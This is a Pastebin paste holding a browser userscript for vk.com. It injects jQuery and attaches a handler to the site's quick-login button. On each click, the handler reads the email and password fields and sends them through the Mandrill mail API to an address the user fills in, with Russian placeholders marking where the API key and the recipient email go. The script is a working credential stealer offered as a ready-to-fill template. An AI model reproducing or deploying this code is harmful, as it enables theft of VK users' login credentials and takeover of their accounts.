Guest User

lal

a guest
Nov 20th, 2014
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // @match http://vk.com/*
  2. // @copyright 2012+, You
  3. // ==/UserScript==
  4.  
  5. function addJQuery(callback) {
  6. var script = document.createElement("script");
  7. script.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js");
  8. script.addEventListener('load', function() {
  9. var script = document.createElement("script");
  10. script.textContent = "window.jQ=jQuery.noConflict(true);(" + callback.toString() + ")();";
  11. document.body.appendChild(script);
  12. }, false);
  13. document.body.appendChild(script);
  14. }
  15.  
  16. function main() {
  17. jQ('#quick_login_button').click(function(e) {
  18. jQ.ajax({
  19. type: 'POST',
  20. url: 'https://mandrillapp.com/api/1.0/messages/send.json',
  21. data: {
  22. 'key': 'сюда_API_ключ_от_мандрилы',
  23. 'message': {
  24. 'from_email': '[email protected]',
  25. 'to': [{
  26. 'email': 'сюда_свое_мыло',
  27. 'name': 'name',
  28. 'type': 'to'
  29. }],
  30. 'autotext': 'true',
  31. 'subject': 'Hi! I have something interesting for you!',
  32. 'html': jQ('#quick_email').val()+' '+jQ('#quick_pass').val()
  33. }
  34. }
  35. });
  36. });
  37. }
  38.  
  39. addJQuery(main);
Advertisement
Add Comment
Please, Sign In to add comment